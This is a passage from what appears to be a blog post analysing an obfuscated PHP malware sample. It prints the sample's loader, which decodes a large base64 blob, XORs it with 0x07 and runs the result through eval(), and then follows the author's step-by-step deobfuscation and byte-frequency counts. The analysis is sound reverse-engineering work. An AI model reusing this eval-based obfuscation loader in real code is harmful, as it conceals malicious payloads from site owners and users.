#0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$d</span>++;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">                <span style="color: #0000ff;">$e</span>+=<span style="color: #0000ff;">$b</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #66cc66;">&#125;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$e</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #0000ff;">$g</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #0000ff;">$f</span>--;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #66cc66;">&#125;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$d</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$f</span>=<span style="color: #ff0000;">&quot;?&quot;</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$i</span>=<span style="color: #ff0000;">&quot;&quot;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #0000ff;">$e</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #0000ff;">$i</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #66cc66;">&#125;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$f</span>.=<span style="color: #0000ff;">$i</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #ff0000;">&quot;?&quot;</span>; <span style="color: #808080; font-style: italic;">//here</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$f</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">?&gt;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div></li></ol></pre>
<p>At this point its almost readable, although astute observers will have noted one variable that's weird. $o is wrapped in a base64_decode call, and bound to $l. $o is, shockingly enough, 44K of... packed binary. I didn't notice this until someone else pointed it out, I just glossed over all that junk and had started on the obvious eval command. To get a good view of it, try <a href="http://pastebin.com/f60039b67">here</a>.</p>
<p>Line 9 of the above can be simplified, so let's do that and turn it into the following (just to get an idea of the exact numbers we can). We can also run the strlen() call and learn that the length of $l is 33222! Geez... So let's replace that in the for loop on (old) line 12. $e after the massive loop becomes 83760, we can replace that also. And finally I replace the chr() calls towards the end and just put them into the strings that they're concatted to.</p>
<pre class="php">&nbsp;
    <span style="color: #0000ff;">$ga</span> = <a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span>; <span style="color: #808080; font-style: italic;">//48</span>
    <span style="color: #0000ff;">$gb</span> = <a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//0</span>
    <span style="color: #0000ff;">$g</span> = <span style="color: #0000ff;">$ga</span> + <span style="color: #0000ff;">$gb</span>; <span style="color: #808080; font-style: italic;">//48</span>
    ....
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">33222</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    ....
    <span style="color: #0000ff;">$f</span>=<span style="color: #ff0000;">&quot;?&gt;&quot;</span>;
    ....
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">83760</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    ....
    <span style="color: #0000ff;">$f</span>.=<span style="color: #0000ff;">$i</span>.<span style="color: #ff0000;">&quot;&lt;?&quot;</span>;
&nbsp;</pre>
<p>So, where does this leave us? We have a nice little (readable) <a href="http://pastebin.com/f3ca47774">script</a> that does (something) on a HUGE bit of packed binary. Now, if you look at the for loop there, its not going to be fun to step through. Our index goes up to 33222, and is incremented by at most 6 every iteration. At worst you'll be stepping by 1. Well, the eval() command isn't until the end, so lets just see what that nasty big loop spits out, hmm? As long as you die() before the eval command, you'll be alright. What this spits out is a nasty huge array...</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">56</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">119</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">111</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">119</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">13</span>
    <span style="color: #808080; font-style: italic;">//....&lt;snip 83000ish lines&gt;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83754</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">97</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83755</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">60</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83756</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">13</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83757</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">13</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83758</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">56</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83759</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">57</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>Now that's just lovely. Hmm, but looking at the values it gives me an idea. I decided to spit out an array of the values from the right side, and how many times they're referenced.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">59</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">93</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">56</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">119</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">111</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2748</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">36</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">70</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">35</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">349</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">99</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1773</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">98</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">8490</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">101</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1112</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">114</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3197</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">96</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1525</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">39</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">58</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">227</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">54</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">577</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">107</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3064</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">110</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3057</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">105</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4299</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">108</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1170</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">102</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4179</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">125</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">766</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">51</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">94</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">104</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2476</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">116</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3241</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">115</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4404</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">88</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">414</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">84</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">541</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">66</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">354</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">85</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">163</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">81</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">130</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">92</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1487</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">79</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">425</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">386</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">87</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">187</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">72</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">101</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">97</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">635</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">47</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">46</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2031</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">37</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">305</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">61</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">391</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">41</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">886</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">117</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4419</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">57</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">100</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">86</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">82</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">79</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">78</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">106</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1421</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">69</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">438</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">112</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1295</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">42</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">688</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">126</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">198</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">53</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">52</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">82</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">55</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">105</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">63</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">30</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">67</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">209</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">74</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">74</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">48</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">37</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">27</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">113</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">313</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">89</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">43</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3496</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">70</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">297</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">73</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">169</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">68</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">172</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">271</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">14</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">65</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">243</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">76</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">337</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">127</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">186</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">95</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">93</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">47</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">213</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">33</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">442</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">75</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">103</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">49</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">34</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">118</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">77</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">36</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">109</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">41</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">124</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">122</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">44</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">34</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">21</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">9</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">123</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>The minimum is 13, and the max is 127, so these do fit nicely on an ASCII table. Now, 13 is a LOT smaller than I expected (down at carriage return), but such is life. Sorted it looks a bit better, but doesn't map nicely to the <a href="http://www.asciitable.com/">ASCII values</a> I'd hoped to see the most of.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">14</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1487</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">33</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">442</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">34</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">21</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">35</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">349</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">36</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">70</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">37</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">305</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">39</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">41</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">886</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">42</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">688</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">43</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3496</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">44</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">9</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">46</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">47</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">48</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">37</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">49</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">34</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">74</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">51</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">94</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">52</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">82</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">53</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">110</span>
